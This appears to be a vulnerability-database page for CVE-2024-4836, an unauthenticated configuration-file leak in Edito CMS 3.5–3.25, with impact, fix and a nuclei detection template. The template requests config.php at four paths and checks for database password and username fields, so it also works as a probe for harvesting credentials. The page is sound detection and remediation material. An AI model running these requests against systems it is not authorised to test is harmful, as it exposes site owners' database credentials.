HexBrain

Browse / CVEs / CVE-2024-4836

CVE-2024-4836

Edito CMS - Sensitive Data Leak

highseverity
2.6%likelihood of exploitation, next 30 days
86%of all CVEs are less likely
Readycheck to confirm it

Web services managed by Edito CMS (Content Management System) in versions from 3.5 through 3.25 leak sensitive data as they allow downloading configuration files by an unauthorized user.

Impact

Unauthenticated attackers can download configuration files containing sensitive credentials from Edito CMS installations.

Fix

Update Edito CMS to a version later than 3.25 that secures configuration file access.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains_any(body,"content=\"edito", "www.edito.pl") and status_code==200
Send: GET {{BaseURL}}/config.php ; GET {{BaseURL}}/config/config.php ; GET {{BaseURL}}/include/config.php ; GET {{BaseURL}}/includes/config.php
Positive when: contains_all(body,"db_password", "db_username") and status_code==200

Run it with nuclei: nuclei -id CVE-2024-4836 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2024-4836

info:
  name: Edito CMS - Sensitive Data Leak
  author: s4e-io
  severity: high
  description: |
    Web services managed by Edito CMS (Content Management System) in versions from 3.5 through 3.25 leak sensitive data as they allow downloading configuration files by an unauthorized user.
  impact: |
    Unauthenticated attackers can download configuration files containing sensitive credentials from Edito CMS installations.
  remediation: |
    Update Edito CMS to a version later than 3.25 that secures configuration file access.
  reference:
    - https://cert.pl/en/posts/2024/07/CVE-2024-4836/
    - https://github.com/sleep46/CVE-2024-4836_Check
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4836
  classification:
    epss-score: 0.02629
    epss-percentile: 0.85637
  metadata:
    max-request: 5
    fofa-query: icon_hash="1491301339"
  tags: cve,cve2024,cms,edito,info-leak,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body,"content=\"edito", "www.edito.pl")'
          - "status_code==200"
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/config.php"
      - "{{BaseURL}}/config/config.php"
      - "{{BaseURL}}/include/config.php"
      - "{{BaseURL}}/includes/config.php"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"db_password", "db_username")'
          - "status_code==200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from